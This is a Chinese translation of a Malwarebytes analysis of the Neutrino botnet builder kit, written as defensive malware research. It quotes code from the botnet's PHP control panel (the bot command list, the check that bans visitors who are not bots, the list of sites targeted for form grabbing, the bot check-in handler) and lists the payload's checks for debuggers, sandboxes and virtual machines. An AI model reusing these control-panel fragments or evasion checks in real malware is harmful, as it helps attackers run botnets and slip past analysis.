揭秘Neutrino殭屍網路生成器
翻譯:mssp299
原文地址:https://blog.malwarebytes.org/botnets/2015/08/inside-neutrino-botnet-builder/
0x01 引言
一般情況下,網路犯罪分子通常都會以產品套裝的形式來出售其攻擊軟體,其中包括:
惡意有效載荷:惡意軟體的前端,用於感染使用者。
C&C皮膚:惡意軟體的後端部分,通常為
LAMP
環境下的一個Web應用程式
。生成器:一個應用程式,用來打包有效載荷,並嵌入特定釋出者所感興趣的資訊,比如
C&C地址
、配置資訊
等。
這些惡意軟體套裝通常都是在黑市上銷售的,儘管如此,有時還是會流入主流媒體的手上。這就給研究人員提供了一個寶貴的機會,來深入考察它們所使用的各種技術。
最近,我手頭上就得到了這樣的一個軟體套裝,其中就包括Neutrino殭屍網路的生成器。儘管這不是最新的版本,但是依舊能夠提供有用的資訊,來幫助我們與當今廣泛傳播的樣本進行對比分析。
0x02 相關組成部分
Neutrino Builder:32位PE程式,使用VS2013編寫,利用
Safengine Shielden v2.3.6.0
加殼(md5=80660973563d13dfa57748bacc4f7758)。panel(利用PHP編寫的)。
stub(有效載荷):32位PE程式,是用MS Visual C++編寫的(md5=55612860c7bf1425c939815a9867b560, section .text md5=07d78519904f1e2806dda92b7c046d71)。
0x03 功能
Neutrino Builder v3.9.4
這個生成器是利用Visual Studio 2013
編寫的,因此需要合適的可再發行元件包( Redistributable Package
)才能夠正常執行。這個生成器是一個破解版,因為從標頭部分可以看到“Cracked and coded by 0x22
”等字樣。
這個工具的功能非常簡單:向使用者詢問C&C的地址,然後將其寫入有效荷載。
比較兩個有效荷載:一個是原始的有效荷載,一個是由該生成器編輯過的有效荷載。我們發現,實際上這個生成器所做的修改非常小,它只是對提供的URL進行加密處理,然後將其儲存到指定的地方。
下面的圖中,左圖(stub
)是原始的有效荷載,右圖(test_stub.exe
)是經過編輯之後的有效荷載。
Panel
這個軟體套裝含有完整的使用說明(readme.txt),不過使用俄語編寫的,其中可以發現許多功能細節。
安裝皮膚所需的軟體:
- PHP
- MySQL,版本號不得低於5.6。
皮膚的預設登入名和口令:admin ,admin 。
被感染的客戶端可以根據要求而執行的任務:
- 各種型別的DDoS攻擊。
- 鍵盤記錄(啟用/禁用)功能,包括指定視窗內的軌跡文字。
- 查詢指定型別的檔案。
- 更新bot。
- 刪除bot。
- DNS欺騙(將地址X重定向到地址Y)。
- Form表單擷取,竊取FTP證照。
- 下載並執行下列型別的檔案(EXE、DLL、、bat 、vbs)。
- 向Windows登錄檔新增指定內容。
傳送給bot的完整命令列表:
functions.php
#!php
function EncodeCommand($command)
{
switch (strtolower($command)) {
case "http ddos":
return "http";
break;
case "https ddos":
return "https";
break;
case "slowloris ddos":
return "slow";
break;
case "smart http ddos":
return "smart";
break;
case "download flood":
return "dwflood";
break;
case "udp ddos":
return "udp";
break;
case "tcp ddos":
return "tcp";
break;
case "find file":
return "findfile";
break;
case "cmd shell":
return "cmd";
break;
case "keylogger":
return "keylogger";
break;
case "spreading":
return "spread";
break;
case "update":
return "update";
break;
case "loader":
return "loader";
break;
case "visit url":
return "visit";
break;
case "bot killer":
return "botkiller";
break;
case "infection":
return "infect";
break;
case "dns spoofing":
return "dns";
break;
}
return "failed";
}
C&C對非法請求非常敏感,並且會根據源IP黑名單作出相應的反應:
functions.php
#!php
function CheckBotUserAgent($ip)
{
$bot_user_agent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0";
if ($_SERVER['HTTP_USER_AGENT'] != $bot_user_agent) {
AddBan($ip);
}
if (!isset($_COOKIE['authkeys'])) {
AddBan($ip);
}
$cookie_check = $_COOKIE['authkeys'];
if ($cookie_check != "21232f297a57a5a743894a0e4a801fc3") { /* md5(admin) */
AddBan($ip);
}
}
透過觀察install.php
,我們還可以發現Form表單所擷取的目標。這裡的列表中包括了最流行的電子郵件和社交網路網站(facebook、linkedin、twitter等)。
install.php
#!php
$ff_sett = "INSERT INTO `formgrabber_host` (`hostnames`, `block`) VALUES".
"('capture_all', '.microsoft.com\r\ntiles.services.mozilla.com\r\nservices.mozilla.com\r\n.mcafee.com\r\nvs.mcafeeasap.com\r\nscan.pchealthadvisor.com\r\navg.com\r\nrrs.symantec.com\r\nsjremetrics.java.com\r\nyahoo.com/hjsal \r\n.msg.yahoo.com\r\ngames.yahoo.com\r\n.toolbar.yahoo.com\r\nquery.yahoo.com\r\nyahoo.com/pjsal\r\neBayISAPI.dll?VISuperSize&item=\r\nbeap.bc.yahoo.com\r\n.mail.yahoo.com/ws/mail/v1/formrpc?appid=YahooMailClassic\r\n.mail.yahoo.com/dc/troubleLoading\r\n.mail.yahoo.com/mc/compose\r\nmail.yahoo.com/mc/showFolder\r\nmail.yahoo.com/mc/showMessage\r\ninstallerstats.yahoo.com\r\nlogin.yahoo.com/openid/op/start\r\nmail.yahoo.com/mc/showFolder\r\nyahoo.com/mc/showMessage\r\nmail.yahoo.com/mc/compose\r\naddress.mail.yahoo.com/yab\r\naddress.yahoo.com\r\nanalytics.yahoo.com\r\ngeo.yahoo.com\r\nnews.yahoo.com\r\nmessages.finance.yahoo.com\r\ninstallerstats.yahoo.com\r\nmail.yahoo.com/ws/\r\nmail.yahoo.com/dc/\r\nsports.yahoo.com\r\nomg.yahoo.com\r\nshine.yahoo.com\r\ndesktop.google\r\ndesign60.weatherbug.com\r\noogle.com/tbproxy/\r\noogle.com/mail/channel/\r\noogle.com/bookmarks\r\ngle-analytics.com/collect\r\nmaps.google\r\nnews.google\r\ngoogleapis.com\r\noogle.com/u/0/\r\noogle.com/u/1/\r\noogle.com/u/2/\r\noogle.com/u/3/\r\noogle.com/u/4/\r\noogle.com/a/\r\noogle.com/b/\r\nogle.com/_/n/\r\nogle.com/_/initialdata\r\noogle.com/_/photos\r\noogle.com/mail/h/\r\noogle.com/mail/u/\r\noogle.com/_/jserror\r\noogle.com/_/diagnostics\r\noogle.com/_/socialgraph\r\noogle.com/_/savetz\r\noogle.com/_/profiles\r\noogle.com/_/og/promos\r\noogle.com/analytics/web/\r\noogle.com/bind\r\noogle.com/client-channel/channel/\r\noogle.com/cloudsearch/\r\noogle.com/document/\r\noogle.com/dr\r\noogle.com/act\r\noogle.com/pref\r\noogle.com/cp\r\noogle.com/drive/\r\noogle.com/o/oauth2/\r\noogle.com/picker/\r\noogle.com/stat\r\noogle.com/spreadsheets/\r\noogle.com/uploadstats\r\noogle.com/upload/\r\noogle.com/talkgadget\r\noogle.com/translate\r\noogle.com/voice/v1/\r\noogle.com/vr\r\noogle.com/_vti_bin\r\napis.google\r\noogle.com/mail/?ui\r\noogle.com/calendar\r\nogle.com/logos/\r\noglevideo.com\r\noglesyndication.com/activeview\r\nreddit.com/api/\r\ngeo.opera.com\r\n.com/do/mail/message/\r\nhttpcs.msg.yahoo.com/\r\npnrws.skype.com/api\r\nmail.aol.com\r\ndailymotion.com/cookie/\r\netsy.com/s2/service/\r\netsy.com/api/\r\netsy.com/people/\r\netsy.com/add_favorite\r\netsy.com/search\r\nconnect.facebook.com/widgets\r\nupload.facebook.com\r\nconnect.facebook.com\r\napi.facebook.com\r\napps.facebook.com\r\ngraph.facebook.com\r\nfacebook.mafiawars.com\r\nfacebook.com/ads/\r\nfacebook.com/alite/push/log.php\r\nfacebook.com/ajax/\r\nfacebook.com/bookmark/\r\nfacebook.com/chat/\r\nfacebook.com/connect/\r\nfacebook.com/checkpoint/\r\nfacebook.com/crop_profile_pic.php\r\nfacebook.com/editnote.php\r\nfacebook.com/ego/feed/\r\nfacebook.com/dialog/\r\nfacebook.com/events/\r\nfacebook.com/friends\r\nfacebook.com/find-friends/\r\nfacebook.com/growth/\r\nfacebook.com/intl/\r\nfacebook.com/logout\r\nfacebook.com/mobile/\r\nfacebook.com/photos/\r\nfacebook.com/video/\r\nfacebook.com/plugins/\r\nfacebook.com/people/\r\nfacebook.com/privacy/selector/\r\nfacebook.com/profile/picture/\r\nfacebook.com/pubcontent/\r\nfacebook.com/requests/friends/ajax/\r\nfacebook.com/residence/\r\nfacebook.com/roadblock/\r\nfacebook.com/stickers/\r\nfacebook.com/search/live_conversation/\r\nfacebook.com/structured_suggestion/\r\nfacebook.com/timeline/\r\nfacebook.com/tr/\r\nfacebook.com/translations/\r\ninstagram.com/query/\r\ninstagram.com/client_action/\r\nflickr.com/fragment\r\nflickr.com/photo\r\nflickr.com/mail/write\r\nflickr.com/groups\r\nflickr.com/services\r\nflickr.com/people/\r\ntwitter.com/logout\r\ntwitter.com/i/\r\nlinkedin.com/lite/\r\nlinkedin.com/connections\r\nlinkedin.com/people/\r\nlinkedin.com/languageSelector\r\nlinkedin.com/home?trk\r\nlinkedin.com/wvmx/\r\nmyspace.com/beacon/\r\nmyspace.com/ajax/\r\nok.ru/app\r\nok.ru/gwtlog\r\nok.ru/?cmd\r\nok.ru/dk\r\nok.ru/feed\r\nok.ru/game\r\nok.ru/profile\r\nok.ru/push\r\nplayer.vimeo.com\r\nsgsapps.com\r\nmyfarmvillage.com\r\napi.connect.facebook.com\r\nupload.youtube.com\r\nyoutube.com/addto_ajax\r\nyoutube.com/annotations\r\nyoutube.com/api/\r\nyoutube.com/channel_ajax\r\nyoutube.com/comment_voting\r\nyoutube.com/comments_ajax\r\nyoutube.com/comment_servlet\r\nyoutube.com/inbox_ajax\r\nyoutube.com/live_stats\r\nyoutube.com/logout\r\nyoutube.com/metadata_ajax\r\nyoutube.com/playlist_video_ajax\r\nyoutube.com/subscription_ajax\r\nyoutube.com/set_awesome\r\nyoutube.com/video_info_ajax\r\nyoutube.com/video_response_upload\r\nyoutube.com/watch_actions_ajax\r\nyoutube.com/watch_fragments_ajax\r\nyoutube.com/watch_promo_ajax\r\nnetzero.net/webmail\r\nnetmail.verizon.com/netmail/driver\r\nverizon.com/webmail/driver\r\nidp.comcast.net/idp\r\noptimum.net/mail/dd\r\nwww.msn.com/?wa=wsignin1.0\r\nusers.storage.live.com/users/\r\naccount.live.com/API/\r\nmail.live.com/mail/mail.fpp\r\nmail.live.com/mail/options\r\nmail.live.com/ol/\r\nmail.live.com/Handlers/\r\nofficeapps.live.com/wv/\r\nlive.com/mail/SilverlightAttachmentUploader\r\nlive.com/c.gif\r\nlive.com/Handlers/\r\ncox.net/dashboard\r\nenhanced.charter.net\r\npost.craigslist.org\r\namazon.com/gp/history/\r\namazon.com/gp/charity/\r\namazon.com/gp/deal/\r\namazon.com/gp/gw/\r\namazon.com/gp/product/\r\namazon.com/gp/redirection/\r\namazon.com/gp/quick-abn-finder/\r\namazon.com/gp/registry/wishlist/');";
$ff_hostname = "INSERT INTO `formgrabber_host` (`hostnames`) VALUES ('live,mail,paypal')";
用於實現跟bot通訊的主檔案是tasks.php,它只接收一種POST請求。
將bot傳送的資訊新增到資料庫:
tasks.php
#!php
if ($_SERVER["REQUEST_METHOD"] != "POST") {
AddBan($real_ip);
}
CheckBotUserAgent($real_ip);
CheckBan($real_ip);
if (isset($_POST['cmd'])) {
$time = time();
$date = date('Y-m-d H:i:s');
$bot_ip = $real_ip;
$bot_os = $_POST['os'];
$bot_name = urlencode($_POST['uid']);
$bot_uid = md5($bot_os . $bot_name);
$bot_time = $time;
$bot_date = $date;
$bot_av = strip_data($_POST['av']);
$bot_version = strip_data($_POST['version']);
$bot_quality = intval($_POST['quality']);
$gi = geoip_open("GeoIP/GeoIP.dat", GEOIP_STANDARD);
$bot_country = geoip_country_code_by_addr($gi, $bot_ip);
if ($bot_country == null) {
$bot_country = "O1";
}
geoip_close($gi);
開啟index.php會導致客戶端的IP被加入黑名單(無條件):
index.php
#!php
ConnectMySQL($db_host, $db_login, $db_password, $db_database);
CheckBan($real_ip);
AddBan($real_ip);
Stub
在後端可以找到的所有命令在前端都有所反映,這一點可以清楚看出來,因為有效荷載根本就沒有經過混淆處理!
硬編碼的驗證金鑰,對於bot傳送的每一個請求,C&C都會檢查其中的驗證金鑰:
Bot自己會登入到C&C,報告期版本和執行環境:
下面是C&C請求的部分命令的實現:
從C&C下載指定的有效載荷:
鍵盤記錄器的部分程式碼:
Frame擷取器的程式碼片段:
竊取剪貼簿中的內容(部分程式碼):
將竊取的內容(如登入密碼)儲存到一個檔案中(logs.rar)。然後,讀取這個檔案,並將其上傳到C&C:
講這個檔案封裝到POST請求中:
此外,無論C&C請求的任務是成功或失敗,bot都要提供相應的報告:
這個惡意軟體所帶來的威脅,不僅僅侷限於本地計算機,此外,它還會掃描LAN,尋找共享資源,並竊取之:
竊取共享資源(部分程式碼):
防禦技術
除了上面介紹的攻擊性功能之外,這個有效載荷含有大量的防禦功能。
除明顯的isDebuggerPresent
之類檢查外,我們還發現了一些更加高階或者說非常怪異的東西,例如檢查使用者名稱是否含有下列字串:maltest
、tequilaboomboom
、sandbox
、virus
、malware
。完整的防禦功能說明如下:
確定呼叫程式是否為偵錯程式,這需要藉助於:
IsDebuggerPresent
確定呼叫程式是否為遠端偵錯程式,這需要藉助於:
CheckRemoteDebuggerPresent(GetCurrentProcess(), pDebuggerPresent)
檢測是否執行在Wine下面,這需要藉助於:
GetProcAddress(GetModuleHandleW(“kernel32.dll”), “wine_get_unix_file_name”)
檢查是否含有黑名單中的子串(忽略大小寫):
是否含有使用者名稱,這需要藉助於:
GetUserNameW vs {“MALTEST“, “TEQUILABOOMBOOM“, “SANDBOX“, “VIRUS“,”MALWARE“}
是否含有當前模組名稱,這需要藉助於:
GetModuleNameW vs {“SAMPLE“, “VIRUS“, “SANDBOX” }
是否含有BIOS版本號,這需要藉助於登錄檔:
“HARDWARE\Description\System“, value “SystemBiosVersion” against: {“VBOX“, “QEMU“, “BOCHS“}
是否含有BIOS版本號,這需要藉助於登錄檔:
“HARDWARE\Description\System“, value “VideoBiosVersion” against: “VIRTUALBOX“
是否含有SCSI資訊,這需要藉助於登錄檔:
“HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id“, value “Identifier“), against {“VMWARE“, “VBOX“, “QEMU“}
檢查是否存在:
VMWareTools,這需要藉助於登錄檔:SOFTWARE\VMware, Inc.\VMware Tools。
VBoxGuestAdditions,這需要藉助於登錄檔:SOFTWARE\Oracle\VirtualBox Guest Additions。
0x04 小結
通常情況下,惡意軟體分析人員只跟其中的一部分即惡意有效載荷打交道。透過像本文這樣考察整個套裝,能夠幫我們對惡意軟體瞭解地更加全面。
此外,它還能夠很好地幫我們瞭解分散式惡意軟體的各種活動是如何組織協調的。如本文所示,網路犯罪分子可以非常輕鬆的組配自己的惡意C&C。一個人,根本無需任何高深的技巧,照樣可以變身成為一個殭屍網路的主人。我們如今生活的時代,是惡意軟體武器化的時代,是大眾也能取之即用的時代,所以,每個人都必須採取堅固和多層的安全防護措施,這一點非常關鍵。
相關文章
- 什麼是殭屍網路2019-01-04
- Mirai殭屍網路重出江湖2018-12-10AI
- 怎樣有效的治理殭屍網路?2019-09-18
- RDP服務之GoldBrute殭屍網路2019-06-19Go
- 殭屍網路XorDDoS的原理分析與清除2019-10-24
- P2P 殭屍網路入門2014-07-31
- 殭屍蜜網:首款具備誘捕及反探測能力的物聯網殭屍網路2020-09-14
- 物聯網裝置殭屍網路趨勢分析2018-12-14
- 超大規模的物聯網殭屍網路:Pink2021-10-21
- 提高你的警惕 殭屍網路紮根網際網路(轉)2007-08-15
- 瞄準Windows的新興殭屍網路:Kraken2022-02-27Windows
- 殭屍程式2011-09-13
- 某殭屍網路被控端惡意樣本分析2020-08-19
- DorkBot殭屍網路近期活躍情況報告2019-10-28
- Mirai 殭屍網路出現了新的變種2019-03-20AI
- 斷劍重鑄?Kaiji殭屍網路正在重構2022-07-09AI
- 殭屍網路促使垃圾郵件的大幅增加(轉)2007-08-17
- 濫用ThinkPHP漏洞的殭屍網路Hakai和Yowai2019-02-20PHPAI
- Gafgyt變種——Jaws殭屍網路的分析報告2022-03-28
- 殭屍網路 Emotet 能通過相鄰 Wi-Fi 網路傳播2020-02-14
- 帶你瞭解殭屍網路是怎樣組成的?2019-06-25
- 如何有效的治理殭屍網路以此來避免遭遇DDOS?2019-07-04
- Mirai 殭屍網路作者與 FBI 合作而避免刑期2018-09-21AI
- WireX:Android智慧手機組成的DDoS殭屍網路2017-08-29Android
- 勒索病毒最新變種驚現!殭屍網路擴散中2017-05-23
- 什麼是殭屍程式,如何找到並殺掉殭屍程式?2017-12-16
- fork和殭屍程式2019-06-29
- Linux 殭屍程式2018-01-15Linux
- 【系統】 殭屍程式2011-10-15
- 殺死殭屍程式2012-03-23
- Muhstik殭屍網路木馬來襲,挖礦、攻擊兩不誤2020-11-24
- 什麼是殭屍網路攻擊?安全專業人員指南2022-02-21
- 挖礦殭屍網路蠕蟲病毒kdevtmpfsi處理過程2023-02-21dev
- 社交平臺上的桃色陷阱:殭屍網路SIREN侵襲Twitter2017-07-30
- 不得不說 殭屍網路導致垃圾郵件猛增(轉)2007-08-17
- 黑客預警:搞癱北美網際網路?規模更大的殭屍網路現身2017-10-27黑客
- 盤點:網際網路上無處不在的"殭屍"2018-04-27
- 黑客輕鬆接管29個殭屍網路 只因運營商太菜2019-05-05黑客